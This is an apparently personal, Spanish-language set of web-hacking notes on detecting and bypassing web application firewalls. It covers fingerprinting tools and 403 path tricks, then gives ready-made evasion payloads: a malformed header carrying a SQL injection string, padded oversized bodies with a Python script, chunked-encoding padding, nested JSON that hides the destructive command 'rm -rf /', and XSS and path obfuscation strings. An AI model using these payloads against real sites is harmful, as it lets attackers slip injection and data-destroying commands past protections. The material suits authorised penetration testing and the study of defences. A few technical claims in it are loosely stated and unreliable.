WAF bypass

web hacking

Introducción

Un WAF (firewall de aplicaciones web) ==es una solución de seguridad que protege las aplicaciones web de ataques==. Analiza el tráfico entrante y saliente de las aplicaciones web para identificar y bloquear amenazas.

¿Qué hace un WAF?

  • Filtra el tráfico HTTP entrante y saliente

  • Bloquea el tráfico malicioso que entra en una aplicación web

  • Bloquea la salida de datos no autorizados de la aplicación

  • Identifica amenazas como malware, bots malignos, ataques de día cero


Enumeración

el proceso de enumerar un WAF puede ser muy importante porque de lo contrario si no sabemos que medidas de seguridad se implementan en una web podemos perder horas intentando explotar vulnerabilidades gracias a no identificar un WAF.

Inspección manual con el navegador

cuando accedamos al sitio web desde nuestro navegador hay que intentar ingresar payloads de ataques comunes en la URL como de algún [[XSS - Cross Site Scripting]] o [[SQL injection]]. Si la web devuelve un Forbidden (403), Service unavailable (503), un Captcha, Cambia el User agent, redirecciones anormales, Encabezados como Server, X-Akamai, X-Scururi-ID, etc son señales de que podría haber un WAF

Comportamiento HTTP

para esta técnica enviamos solicitudes que de alguna u otra manera podrían ser interpretadas cómo "maliciosas" para un WAF

curl -A "sqlmap/1.7.2#stable (http://sqlmap.org)" # enviamos una peticion desde curl cambiando con "-A" el user agent al que tiene por defecto sqlmap en la version mencionada del user agent

curl -I https://example.com # el -I gracias a que solicita enumerar informacion de los HEADERS suele interpretarse como solicitud maliciosa

si despues de ejecutar estos comandos la web devuelve un 403, 406 o algún otro error probablemente estemos siendo bloqueados por un WAF.

Whappalizer y whatweb

herramientas muy importantes en el reconocimiento en el hacking, podemos usarlas para ver que servicios corren y nos podría indicar si hay un WAF

Ping

hacer un ping al dominio y comprobar la IP que nos da el output

ping example.com

podemos comprobar la IP intentando acceder a ella mediante el navegador para ver que respuesta nos da o comprobarla en ipinfo.io

dnrecon

esta tool trata de acceder a los records DNS, podemos saber si hay un WAF con esto por ejemplo viendo muchos dominios de cloudflare en el output ( a veces de hace un leak de la IP original )

dnsrecon -d example.com
# -d : domain

Burpsuite

  • abrimos burpsuite

  • enviamos una request normal

  • luego hacemos lo mismo pero con una inyección básica y compara con la request anterior :

      Cambio el status code?
      Aparecen Headers nuevos o cookies nuevas?
      Te redirige o devuelve a un captcha?

si la respuesta es si, podrías estar frente a un WAF.

Intento de explotación

  • intenta utilizar herramientas ruidosas como nikto, sqlmap o XSSer para ver como se comporta el sitio ante las herramientas

Bypass del 403

el código de estado 403 no es necesariamente gracias al WAF de una web, también se puede deber a el código fuente en la pagina o funciones de seguridad, pero es muy común en WAFs, por eso lo agregamos aquí.

Fuzzing de métodos HTTP

Si nos da el código 403 podemos probar cambiando los tipos de request que enviamos para ver si el cambio puede dar lugar a otros códigos de estado como 200, podemos hacer esto fácilmente desde burpsuite, a continuación dejo los métodos HTTP que existen:

  • *GET

  • HEAD

  • POST

  • PUT

  • DELETE

  • CONNECT

  • TRACE

  • PATCH

Manipulación de los headers (cuando queremos acceder a todo el sitio)

Proxies y VPN

muchas veces son bloqueos de IP, mantiene varias IPs posibles a utilizar

Trucos en el PATH de la URL

utilizamos este método si queremos acceder a un sitio especifico de la pagina web

/secret - the forbidden (403)
/secret/ - 200
/secret/. - 200
//secret// - 200
/./secret/ - 200
/;/secret - 200
/.;/secret - 200
//;//secret - 200
/secret.json - 200

Herramientas automatizadas

existen herramientas que hacen el reconocimiento de la web para detectar si hay un WAF e incluso te dice cual es, lo que nos ayuda a generar y buscar exploits.

Wafw00f

pip install wafw00f
wafw00f https://example.com

Scripts de nmap

nmap -p 80,443 --script http-waf-detect,http-waf-fingerprint example.com

Explotación

Cambio de user agent

al utilizar herramientas como Sqlmap procura utilizar parámetros que cambien los user agent, también hazlo cuando estés navegando por la web, puedes hacerlo rotativo si lo deseas.

Encoding

hazle encoding a tus payloads, como por ejemplo cambia las "' " por %27 y así con otros caracteres, incluso el payload completo. Aparte de URL encode la codificación en base64 una o varias veces es útil.

Fragmentar la carga

Haz que tu payload sea staged

VPN y proxies

utiliza VPN para evitar bloqueos de IP y ocultar tus datos reales, incluso proxies rotatorios para poder mandar solicitudes de forma masiva sin ser bloqueado, prueba con IPs las cuales no estén en bases de datos de bloqueos de IP

Descubrimiento de la IP real del servidor

a veces tenemos el objetivo de querer ver la IP real del servidor para atacarlo directamente ya que el WAF bloquea todos nuestros ataques o simplemente tener mas vectores de explotación

Situaciones donde no es tan útil conseguir la IP detrás del WAF

  • el servidor sigue redireccionando peticiones al WAF

  • el servidor también rechaza los payloads

Bypass de bloqueo de zonas especificas

  • si un WAF nos esta bloqueando la entrada a una ruta de la web como lo veremos en el ejemplo : /secret

Bypass Nginx

errores de configuración el el WAF de un servidor de nginx nos permite acceder a rutas las cuales deberían estar bloqueadas

/secret.php -> /secret.php/index.php

Bypass Mediante la URL

en general podría funcionar agregar estos caracteres a la URL y ver si ya se nos permite acceder e alguna manera

/secret - the forbidden (403)
/secret/ - 200
/secret/. - 200
//secret// - 200
/./secret/ - 200
/;/secret - 200
/.;/secret - 200
//;//secret - 200
/secret.json - 200

Bypass vía headers

es posible bypassear algunas reglas de WAF por los headers HTTP, enviando headers malformados, que suelen no ser interpretados correctamente por el WAF pero si por el backend del server

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Limite de tamaño

Comúnmente los WAF tienen un cierto límite de longitud de solicitudes a verificar y si una solicitud POST/PUT/PATCH lo supera, el WAF no verificará la solicitud.

# Tamaño máximo del cuerpo de una solicitud web que se puede inspeccionar para las protecciones de Application Load Balancer y AWS AppSync : 8kb

# Tamaño máximo del cuerpo de una solicitud web que se puede inspeccionar para las protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y acceso verificado : 64kb

# ahora vamos a ver como modificar el tamaño de la request (puedes hacerlo en burpsuite por ejemplo):

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "admin",
  "password": "admin123",
  "junk1": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
  "junk2": "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
  ...
  "junk50": "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
}

# Puedes usar código para generar muchos campos `junkN` y aumentar el payload a más de 64KB.
  • en request de Python :

import requests

url = "https://example.com/tryhackmywaf"
data = {
    "username": "admin",
    "password": "admin123"
}

# Añadir padding
for i in range(0, 2000):
    data[f"filler_{i}"] = "X" * 50  # Genera 100 KB de padding aprox.

r = requests.post(url, json=data)
print(r.status_code)
  • Subir archivos : subir un archivo como parte del body puede superar el límite de inspección del WAF

  • Comentarios : si el backend permite poner comentarios en el cuerpo de la solicitud podemos aprovecharlo para subir el tamaño, ex :

{
  "username": "test",
  "password": "test123" /* esto es un comentario */
}

Inflar la cookie

algunos WAF solo analizan el body o headers clave, si crecemos la cookie podemos pasar contenido adicional sin ser inspeccionado

Cookie: sessionid=xyz; junk1=AAAA; junk2=BBBB;

Chunks

En el contexto de HTTP, chunks (fragmentos) son pedazos de datos que el servidor o cliente envía uno por uno, en lugar de enviar todo el contenido de una sola vez.

Transfer-Encoding: chunked
  • utilizar chunks llenos de basura nos servirán de mucho, ejemplo :

POST /login HTTP/1.1
Host: vulnerable.site
Transfer-Encoding: chunked
Content-Type: application/json
User-Agent: Mozilla/5.0

1e
{"username":"admin","password":"1234"}
1400
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
  • todo lo que pongamos despues nos será considerado por el WAF

json

muchos WAF no pueden seguir estructuras JSON muy anidadas o manejarlas, que es posible de abusar para inyectar cosas adicionales.

POST /api/parse HTTP/1.1
Host: vulnerable.site
Content-Type: application/json
Content-Length: 297

{
  "cmd": "echo 'hello'",
  "a": {
    "b": {
      "c": {
        "d": {
          "e": {
            "f": {
              "g": {
                "h": {
                  "i": {
                    "j": {
                      "cmd": "rm -rf /"
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Ofuscación

_La ofuscación de código es un proceso que hace que las aplicaciones que usted crea para usar fuera de su firewall sean más difíciles de entender después de haber sido descompiladas o Ingeniería inversa

# IIS, ASP Clasic , evadir filtro anti XSS en servidores que ejecutan ASP clásico sobre IIS (Internet Information Services)

<script> -> <%s%cr%u0131pt>

# Path blacklist bypass - Tomcat,técnica para bypassear filtros de ruta (path filters), especialmente en servidores como Apache Tomcat.

# Algunos servidores como Tomcat permiten el uso de ciertos caracteres especiales (;, etc.) que pueden interrumpir o modificar el análisis de rutas por parte del servidor.
    
Esto puede permitirte acceder a /path1/path2/ incluso si esa ruta está "prohibida" por una lista negra, simplemente usando algo como:

/path1/path2/ -> ;/path1;foo/path2;bar/; # ;foo y ;bar son segmentos inofensivos que ciertos servidores ignoran, El servidor termina procesando eso como si fuera la ruta /path1/path2/.


Last updated